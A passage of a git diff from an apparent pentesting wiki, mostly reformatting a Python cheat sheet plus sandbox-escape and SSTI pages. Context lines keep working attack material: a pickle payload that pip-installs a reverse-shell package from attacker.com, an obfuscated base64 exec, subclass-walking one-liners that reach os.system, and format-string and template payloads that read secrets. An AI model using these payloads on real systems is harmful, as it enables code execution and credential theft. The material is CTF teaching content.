j\ +i == j\ +i != j\ +a and b\ +a or b\ +not a\ +float(a)\ +int(a)\ +str(d)\ +ord("A") = 65\ +chr(65) = 'A'\ +hex(100) = '0x64'\ +hex(100)\[2:] = '64'\ +isinstance(1, int) = True\ +"a b".split(" ") = \['a', 'b']\ +" ".join(\['a', 'b']) = "a b"\ +"abcdef".startswith("ab") = True\ +"abcdef".contains("abc") = True\ +"abc\n".strip() = "abc"\ +"apbc".replace("p","") = "abc"\ +dir(str) = List of all the availble methods\ +help(str) = Definition of the class str\ +"a".upper() = "A"\ +"A".lower() = "a"\ +"abc".capitalize() = "Abc"\ +sum(\[1,2,3]) = 6\ +sorted(\[1,43,5,3,21,4]) -**Join chars** -3 \* ’a’ = ‘aaa’ -‘a’ + ‘b’ = ‘ab’ -‘a’ + str\(3\) = ‘a3’ -\[1,2,3\]+\[4,5\]=\[1,2,3,4,5\] +**Join chars**\ +3 \* ’a’ = ‘aaa’\ +‘a’ + ‘b’ = ‘ab’\ +‘a’ + str(3) = ‘a3’\ +\[1,2,3]+\[4,5]=\[1,2,3,4,5] -**Parts of a list** -‘abc’\[0\] = ‘a’ -'abc’\[-1\] = ‘c’ -'abc’\[1:3\] = ‘bc’ from \[1\] to \[2\] -"qwertyuiop"\[:-1\] = 'qwertyuio' +**Parts of a list**\ +‘abc’\[0] = ‘a’\ +'abc’\[-1] = ‘c’\ +'abc’\[1:3] = ‘bc’ from \[1] to \[2]\ +"qwertyuiop"\[:-1] = 'qwertyuio' -**Comments** -\# One line comment -""" -Several lines comment -Another one +**Comments**\ +\# One line comment\ +"""\ +Several lines comment\ +Another one\ """ **Loops** -```text +``` if a: #somethig elif b: @@ -82,60 +82,60 @@ for letter in "hola": ### Tuples -t1 = \(1,'2,'three'\) -t2 = \(5,6\) -t3 = t1 + t2 = \(1, '2', 'three', 5, 6\) -\(4,\) = Singelton -d = \(\) empty tuple -d += \(4,\) --> Adding into a tuple -CANT! --> t1\[1\] == 'New value' -list\(t2\) = \[5,6\] --> From tuple to list +t1 = (1,'2,'three')\ +t2 = (5,6)\ +t3 = t1 + t2 = (1, '2', 'three', 5, 6)\ +(4,) = Singelton\ +d = () empty tuple\ +d += (4,) --> Adding into a tuple\ +CANT! --> t1\[1] == 'New value'\ +list(t2) = \[5,6] --> From tuple to list -### List \(array\) +### List (array) -d = \[\] empty -a = \[1,2,3\] -b = \[4,5\] -a + b = \[1,2,3,4,5\] -b.append\(6\) = \[4,5,6\] -tuple\(a\) = \(1,2,3\) --> From list to tuple +d = \[] empty\ +a = \[1,2,3]\ +b = \[4,5]\ +a + b = \[1,2,3,4,5]\ +b.append(6) = \[4,5,6]\ +tuple(a) = (1,2,3) --> From list to tuple ### Dictionary -d = {} empty -monthNumbers={1:’Jan’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Jan’, 2: ‘feb’,’feb’:2} -monthNumbers\[1\] = ‘Jan’ -monthNumbers\[‘feb’\] = 2 -list\(monthNumbers\) = \[1,2,’feb’\] -monthNumbers.values\(\) = \[‘Jan’,’feb’,2\] -keys = \[k for k in monthNumbers\] -a={'9':9} -monthNumbers.update\(a\) = {'9':9, 1:’Jan’, 2: ‘feb’,’feb’:2} -mN = monthNumbers.copy\(\) \#Independent copy -monthNumbers.get\('key',0\) \#Check if key exists, Return value of monthNumbers\["key"\] or 0 if it does not exists +d = {} empty\ +monthNumbers={1:’Jan’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Jan’, 2: ‘feb’,’feb’:2}\ +monthNumbers\[1] = ‘Jan’\ +monthNumbers\[‘feb’] = 2\ +list(monthNumbers) = \[1,2,’feb’]\ +monthNumbers.values() = \[‘Jan’,’feb’,2]\ +keys = \[k for k in monthNumbers]\ +a={'9':9}\ +monthNumbers.update(a) = {'9':9, 1:’Jan’, 2: ‘feb’,’feb’:2}\ +mN = monthNumbers.copy() #Independent copy\ +monthNumbers.get('key',0) #Check if key exists, Return value of monthNumbers\["key"] or 0 if it does not exists ### Set -In the sets there are not repetitions -myset = set\(\['a', 'b'\]\) = {'a', 'b'} -myset.add\('c'\) = {'a', 'b', 'c'} -myset.add\('a'\) = {'a', 'b', 'c'} \#No repetitions -myset.update\(\[1,2,3\]\) = set\(\['a', 1, 2, 'b', 'c', 3\]\) -myset.discard\(10\) \#If present, remove it, if not, nothing -myset.remove\(10\) \#If present remove it, if not, rise exception -myset2 = set\(\[1, 2, 3, 4\]\) -myset.union\(myset2\) \#Values it myset OR myset2 -myset.intersection\(myset2\) \#Values in myset AND myset2 -myset.difference\(myset2\) \#Values in myset but not in myset2 -myset.symmetric\_difference\(myset2\) \#Values that are not in myset AND myset2 \(not in both\) -myset.pop\(\) \#Get the first element of the set and remove it -myset.intersection\_update\(myset2\) \#myset = Elements in both myset and myset2 -myset.difference\_update\(myset2\) \#myset = Elements in myset but not in myset2 -myset.symmetric\_difference\_update\(myset2\) \#myset = Elements that are not in both +In the sets there are not repetitions\ +myset = set(\['a', 'b']) = {'a', 'b'}\ +myset.add('c') = {'a', 'b', 'c'}\ +myset.add('a') = {'a', 'b', 'c'} #No repetitions\ +myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\ +myset.discard(10) #If present, remove it, if not, nothing\ +myset.remove(10) #If present remove it, if not, rise exception\ +myset2 = set(\[1, 2, 3, 4])\ +myset.union(myset2) #Values it myset OR myset2\ +myset.intersection(myset2) #Values in myset AND myset2\ +myset.difference(myset2) #Values in myset but not in myset2\ +myset.symmetric_difference(myset2) #Values that are not in myset AND myset2 (not in both)\ +myset.pop() #Get the first element of the set and remove it\ +myset.intersection_update(myset2) #myset = Elements in both myset and myset2\ +myset.difference_update(myset2) #myset = Elements in myset but not in myset2\ +myset.symmetric_difference_update(myset2) #myset = Elements that are not in both ### Classes -The method in \_\_It\_\_ will be the one used by sort in order to compare if an object of this class is bigger than other +The method in \__It\_\_ will be the one used by sort in order to compare if an object of this class is bigger than other ```python class Person(name): @@ -167,23 +167,23 @@ class MITPerson(Person): ### map, zip, filter, lambda, sorted and one-liners -**Map** is like: \[f\(x\) for x in iterable\] --> map\(tutple,\[a,b\]\) = \[\(1,2,3\),\(4,5\)\] -m = map\(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9\]\) --> \[False, False, True, False, False, True, False, False, True\] +**Map** is like: \[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\ +m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True] **zip** stops when the shorter of foo or bar stops: -```text +``` for f, b in zip(foo, bar): print(f, b) ``` -**Lambda** is used to define a function -\(lambda x,y: x+y\)\(5,3\) = 8 --> Use lambda as simple **function** -**sorted**\(range\(-5,6\), key=lambda x: x\*\* 2\) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5\] --> Use lambda to sort a list -m = **filter**\(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9\]\) = \[3, 6, 9\] --> Use lambda to filter -**reduce** \(lambda x,y: x\*y, \[1,2,3,4\]\) = 24 +**Lambda** is used to define a function\ +(lambda x,y: x+y)(5,3) = 8 --> Use lambda as simple **function**\ +**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Use lambda to sort a list\ +m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Use lambda to filter\ +**reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24 -```text +``` def make_adder(n): return lambda x: x+n plus3 = make_adder(3) @@ -194,11 +194,11 @@ class Car: my_car = Car(); my_car.crash() = 'Boom!' ``` -mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9\] if x%3 == 0 \] +mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ] ### Exceptions -```text +``` def divide(x,y): try: result = x/y @@ -212,11 +212,11 @@ def divide(x,y): print “executing finally clause in any case” ``` -### Assert\(\) +### Assert() If the condition is false the string will by printed in the screen -```text +``` def avg(grades, weights): assert not len(grades) == 0, 'no grades data' assert len(grades) == 'wrong number grades' @@ -226,66 +226,66 @@ def avg(grades, weights): A generator, instead of returning something, it "yields" something. When you access it, it will "return" the first value generated, then, you can access it again and it will return the next value generated. So, all the values are not generated at the same time and a lot of memory could be saved using this instead of a list with all the values. -```text +``` def myGen(n): yield n yield n + 1 ``` -g = myGen\(6\) --> 6 -next\(g\) --> 7 -next\(g\) --> Error +g = myGen(6) --> 6\ +next(g) --> 7\ +next(g) --> Error ### Regular Expresions -import re -re.search\("\w","hola"\).group\(\) = "h" -re.findall\("\w","hola"\) = \['h', 'o', 'l', 'a'\] -re.findall\("\w+\(la\)","hola caracola"\) = \['la', 'la'\] +import re\ +re.search("\w","hola").group() = "h"\ +re.findall("\w","hola") = \['h', 'o', 'l', 'a']\ +re.findall("\w+(la)","hola caracola") = \['la', 'la'] -**Special meanings:** -. --> Everything -\w --> \[a-zA-Z0-9\_\] -\d --> Number -\s --> WhiteSpace char\[ \n\r\t\f\] -\S --> Non-whitespace char -^ --> Starts with -$ --> Ends with -+ --> One or more -\* --> 0 or more -? --> 0 or 1 occurrences +**Special meanings:**\ +. --> Everything\ +\w --> \[a-zA-Z0-9\_]\ +\d --> Number\ +\s --> WhiteSpace char\[ \n\r\t\f]\ +\S --> Non-whitespace char\ +^ --> Starts with\ +$ --> Ends with\ +\+ --> One or more\ +\* --> 0 or more\ +? --> 0 or 1 occurrences -**Options:** -re.search\(pat,str,re.IGNORECASE\) -IGNORECASE -DOTALL --> Allow dot to match newline -MULTILINE --> Allow ^ and $ to match in different lines +**Options:**\ +re.search(pat,str,re.IGNORECASE)\ +IGNORECASE\ +DOTALL --> Allow dot to match newline\ +MULTILINE --> Allow ^ and $ to match in different lines -re.findall\("<.\*>", "<b>foo</b>and<i>so on</i>"\) = \['<b>foo</b>and<i>so on</i>'\] -re.findall\("<.\*?>", "<b>foo</b>and<i>so on</i>"\) = \['<b>', '</b>', '<i>', '</i>'\] +re.findall("<.\*>", "\foo\and\so on\") = \['\foo\and\so on\']\ +re.findall("<.\*?>", "\foo\and\so on\") = \['\', '\', '\', '\'] -IterTools -**product** -from **itertools** import product --> Generates combinations between 1 or more lists, perhaps repeating values, cartesian product \(distributive property\) -print list\(**product**\(\[1,2,3\],\[3,4\]\)\) = \[\(1, 3\), \(1, 4\), \(2, 3\), \(2, 4\), \(3, 3\), \(3, 4\)\] -print list\(**product**\(\[1,2,3\],repeat = 2\)\) = \[\(1, 1\), \(1, 2\), \(1, 3\), \(2, 1\), \(2, 2\), \(2, 3\), \(3, 1\), \(3, 2\), \(3, 3\)\] +IterTools\ +**product**\ +from **itertools** import product --> Generates combinations between 1 or more lists, perhaps repeating values, cartesian product (distributive property)\ +print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\ +print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)] -**permutations** -from **itertools** import **permutations** --> Generates combinations of all characters in every position -print list\(permutations\(\['1','2','3'\]\)\) = \[\('1', '2', '3'\), \('1', '3', '2'\), \('2', '1', '3'\),... Every posible combination -print\(list\(permutations\('123',2\)\)\) = \[\('1', '2'\), \('1', '3'\), \('2', '1'\), \('2', '3'\), \('3', '1'\), \('3', '2'\)\] Every posible combination of lenght 2 +**permutations**\ +from **itertools** import **permutations** --> Generates combinations of all characters in every position\ +print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Every posible combination\ +print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Every posible combination of lenght 2 -**combinations** -from itertools import **combinations** --> Generates all possible combinations without repeating characters \(if "ab" existing, doesn't generate "ba"\) -print\(list\(**combinations**\('123',2\)\)\) --> \[\('1', '2'\), \('1', '3'\), \('2', '3'\)\] +**combinations**\ +from itertools import **combinations** --> Generates all possible combinations without repeating characters (if "ab" existing, doesn't generate "ba")\ +print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')] -**combinations\_with\_replacement** -from itertools import **combinations\_with\_replacement** --> Generates all possible combinations from the char onwards\(for example, the 3rd is mixed from the 3rd onwards but not with the 2nd o first\) -print\(list\(**combinations\_with\_replacement**\('1133',2\)\)\) = \[\('1', '1'\), \('1', '1'\), \('1', '3'\), \('1', '3'\), \('1', '1'\), \('1', '3'\), \('1', '3'\), \('3', '3'\), \('3', '3'\), \('3', '3'\)\] +**combinations_with_replacement**\ +from itertools import **combinations_with_replacement** --> Generates all possible combinations from the char onwards(for example, the 3rd is mixed from the 3rd onwards but not with the 2nd o first)\ +print(list(**combinations_with_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')] ### Decorators -Decorator that size the time that a function needs to be executed \(from [here](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)\): +Decorator that size the time that a function needs to be executed (from [here](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)): ```python from functools import wraps @@ -307,9 +307,8 @@ def decorated_func(): If you run it, you will see something like the following: -```text +``` Let's call our decorated function Decorated func! Execution time: 4.792213439941406e-05 seconds ``` - diff --git a/misc/basic-python/bypass-python-sandboxes/README.md b/misc/basic-python/bypass-python-sandboxes/README.md index 13d63a30..3c2d7b51 100644 --- a/misc/basic-python/bypass-python-sandboxes/README.md +++ b/misc/basic-python/bypass-python-sandboxes/README.md @@ -42,19 +42,19 @@ system('ls') Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. {% hint style="danger" %} -**Python2 input\(\)** function allows to execute python code before the program crashes. +**Python2 input()** function allows to execute python code before the program crashes. {% endhint %} -Python try to **load libraries from the current directory first** \(the following command will print where is python loading modules from\): `python3 -c 'import sys; print(sys.path)'` +Python try to **load libraries from the current directory first **(the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'` -![](../../../.gitbook/assets/image%20%28533%29.png) +![](<../../../.gitbook/assets/image (552).png>) ## Bypass pickle sandbox with default installed python packages ### Default packages -You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html) -Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system. +You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Note that from a pickle you can make the python env** import arbitrary libraries** installed in the system.\ For example the following pickle, when loaded, is going to import the pip library to use it: ```python @@ -83,7 +83,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**: -{% file src="../../../.gitbook/assets/reverse.tar.gz" %} +{% file src="../../../.gitbook/assets/Reverse.tar.gz" %} {% hint style="info" %} This package is called `Reverse`.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave. @@ -116,10 +116,10 @@ exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ## Builtins -* \*\*\*\*[**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)\*\*\*\* -* \*\*\*\*[**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)\*\*\*\* +* ****[**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)**** +* ****[**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)**** -If you can access to the**`__builtins__`** object you can import libraries \(notice that you could also use here other string representation showed in last section\): +If you can access to the**`__builtins__`** object you can import libraries (notice that you could also use here other string representation showed in last section): ```python __builtins__.__import__("os").system("ls") @@ -128,8 +128,8 @@ __builtins__.__dict__['__import__']("os").system("ls") ### No Builtins -When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** \(like `open`, `import`, `print`...\) **aren't loaded**. -However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**. +When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\ +However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous **functionalities inside of them that can be accessed to gain even **arbitrary code execution**. In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them. @@ -173,7 +173,7 @@ get_flag.__globals__['__builtins__'] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**. +[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds **of **places **were you can find the **builtins**. #### Python2 and Python3 @@ -221,11 +221,11 @@ class_obj.__init__.__globals__ [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. +[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds **of **places **were you can find the **globals**. ## Discover Arbitrary Execution -Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits. +Here I want to explain how to easily discover** more dangerous functionalities loaded **and propose more reliable exploits. #### Accessing subclasses with bypasses @@ -265,13 +265,13 @@ For example, knowing that with the library **`sys`** it's possible to **import a ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -There are a lot, and **we just need one** to execute commands: +There are a lot, and** we just need one** to execute commands: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -We can do the same thing with **other libraries** that we know can be used to **execute commands**: +We can do the same thing with** other libraries** that we know can be used to** execute commands**: ```python #os @@ -329,7 +329,7 @@ pdb: """ ``` -Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: +Moreover, if you think **other libraries** may be able to** invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] @@ -488,14 +488,16 @@ if __name__ == "__main__": You can check the output of this script in this page: -{% page-ref page="output-searching-python-internals.md" %} +{% content-ref url="output-searching-python-internals.md" %} +[output-searching-python-internals.md](output-searching-python-internals.md) +{% endcontent-ref %} ## Python Format String -If you **send** a **string** to python that is going to be **formatted**, you can use `{}` to access **python internal information.** You can use the previous examples to access globals or builtins for example. +If you **send **a **string **to python that is going to be **formatted**, you can use `{}` to access **python internal information. **You can use the previous examples to access globals or builtins for example. {% hint style="info" %} -However, there is a **limitation**, you can only use the symbols `.[]`, so you **won't be able to execute arbitrary code**, just to read information. +However, there is a **limitation**, you can only use the symbols `.[]`, so you **won't be able to execute arbitrary code**, just to read information. \ _**If you know how to execute code through this vulnerability, please contact me.**_ {% endhint %} @@ -519,7 +521,7 @@ st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]` +Note how you can **access attributes **in a normal way with a **dot **like `people_obj.__init__` and **dict element **with **parenthesis **without quotes `__globals__[CONFIG]` Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` @@ -543,7 +545,7 @@ class HAL9000(object): #I'm afraid I can't do that. ``` -**More examples** about **format** **string** examples can be found in [**https://pyformat.info/**](https://pyformat.info/)\*\*\*\* +**More examples** about **format** **string** examples can be found in [**https://pyformat.info/**](https://pyformat.info)**** ### Sensitive Information Disclosure Payloads @@ -561,7 +563,7 @@ class HAL9000(object): ## Dissecting Python Objects {% hint style="info" %} -If you want to **learn** about **python bytecode** in depth read these **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)\*\*\*\* +If you want to **learn** about **python bytecode** in depth read these **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)**** {% endhint %} In some CTFs you could be provided the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it. @@ -590,7 +592,7 @@ dir(get_flag) #Get info tof the function #### globals -`__globals__` and `func_globals`\(Same\) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared: +`__globals__` and `func_globals`(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared: ```python get_flag.func_globals @@ -601,7 +603,7 @@ get_flag.__globals__ CustomClassObject.__class__.__init__.__globals__ ``` -[**See here more places to obtain globals**](./#globals-and-locals)\*\*\*\* +[**See here more places to obtain globals**](./#globals-and-locals)**** ### **Accessing the function code** @@ -699,7 +701,7 @@ dis.dis(get_flag) 47 RETURN_VALUE ``` -Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function \(`get_flag.func_code.co_code`\) and **disassemble** it locally. You won't see the content of the variables being loaded \(`LOAD_CONST`\) but you can guess them from \(`get_flag.func_code.co_consts`\) because `LOAD_CONST`also tells the offset of the variable being loaded. +Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function (`get_flag.func_code.co_code`) and **disassemble** it locally. You won't see the content of the variables being loaded (`LOAD_CONST`) but you can guess them from (`get_flag.func_code.co_consts`) because `LOAD_CONST`also tells the offset of the variable being loaded. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') @@ -725,8 +727,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ## Compiling Python -Now, lets imagine that somehow you can **dump the information about a function that you cannot execute** but you **need** to **execute** it. -Like in the following example, you **can access the code object** of that function, but just reading the disassemble you **don't know how to calculate the flag** \(_imagine a more complex `calc_flag` function_\) +Now, lets imagine that somehow you can **dump the information about a function that you cannot execute** but you **need** to **execute** it.\ +Like in the following example, you **can access the code object **of that function, but just reading the disassemble you **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_) ```python def get_flag(some_input): @@ -766,7 +768,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ### Recreating a leaked function {% hint style="warning" %} -In the following example we are going to take all the data needed to recreate the function from the function code object directly. In a **real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**. +In the following example we are going to take all the data needed to recreate the function from the function code object directly. In a** real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**. {% endhint %} ```python @@ -782,8 +784,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ### Bypass Defenses -In previous examples at the begging of this post you can see **how to execute any python code using the `compile` function**. This is really interesting because you can **execute whole scripts** with loops and everything in a **one liner** \(and we could do the same using **`exec`**\). -Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** \(for example because we don't have the `compiled` function in the CTF\). +In previous examples at the begging of this post you can see **how to execute any python code using the `compile` function**. This is really interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\ +Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF). For example, let's compile and execute manually a function that reads _./poc.py_: @@ -826,13 +828,12 @@ f(42) ## Decompiling Compiled Python -Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com/) ****one can **decompile** given compiled python code +Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com)** **one can **decompile** given compiled python code ## References * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) * [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/) -* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) -* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - +* [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) +* [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) diff --git a/misc/basic-python/magic-methods.md b/misc/basic-python/magic-methods.md index 5b3108f3..efd43787 100644 --- a/misc/basic-python/magic-methods.md +++ b/misc/basic-python/magic-methods.md @@ -2,46 +2,46 @@ ## Class Methods -You can access the **methods** of a **class** using **\_\_dict\_\_.** +You can access the **methods **of a **class **using **\__dict\_\_.** -![](../../.gitbook/assets/image%20%28275%29.png) +![](<../../.gitbook/assets/image (42).png>) You can access the functions -![](../../.gitbook/assets/image%20%28285%29.png) +![](<../../.gitbook/assets/image (45).png>) ## Object class ### **Attributes** -You can access the **attributes of an object** using **\_\_dict\_\_**. Example: +You can access the **attributes of an object** using** \__dict\_\_**. Example: -![](../../.gitbook/assets/image%20%28146%29.png) +![](<../../.gitbook/assets/image (41).png>) ### Class -You can access the **class** of an object using **\_\_class\_\_** +You can access the **class **of an object using **\__class\_\_** -![](../../.gitbook/assets/image%20%28221%29.png) +![](<../../.gitbook/assets/image (43).png>) -You can access the **methods** of the **class** of an **object chainning** magic functions: +You can access the **methods **of the **class **of an **object chainning **magic functions: -![](../../.gitbook/assets/image%20%28114%29.png) +![](<../../.gitbook/assets/image (44).png>) ## Server Side Template Injection Interesting functions to exploit this vulnerability -```text +``` __init__.__globals__ __class__.__init__.__globals__ ``` -Inside the response search for the application \(probably at the end?\) +Inside the response search for the application (probably at the end?) -Then **access the environment content** of the application where you will hopefully find **some passwords** of interesting information: +Then **access the environment content** of the application where you will hopefully find **some passwords **of interesting information: -```text +``` __init__.__globals__[].config __init__.__globals__[].__dict__ __init__.__globals__[].__dict__.config @@ -54,6 +54,5 @@ __class__.__init__.__globals__[].__dict__.config * [https://rushter.com/blog/python-class-internals/](https://rushter.com/blog/python-class-internals/) * [https://docs.python.org/3/reference/datamodel.html](https://docs.python.org/3/reference/datamodel.html) -* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/\#events](https://balsn.tw/ctf_writeup/20190603-facebookctf/#events) -* [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) \(events\) - +* [https://balsn.tw/ctf_writeup/20190603-facebookctf/#events](https://balsn.tw/ctf_writeup/20190603-facebookctf/#events) +* [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) (events) diff --git 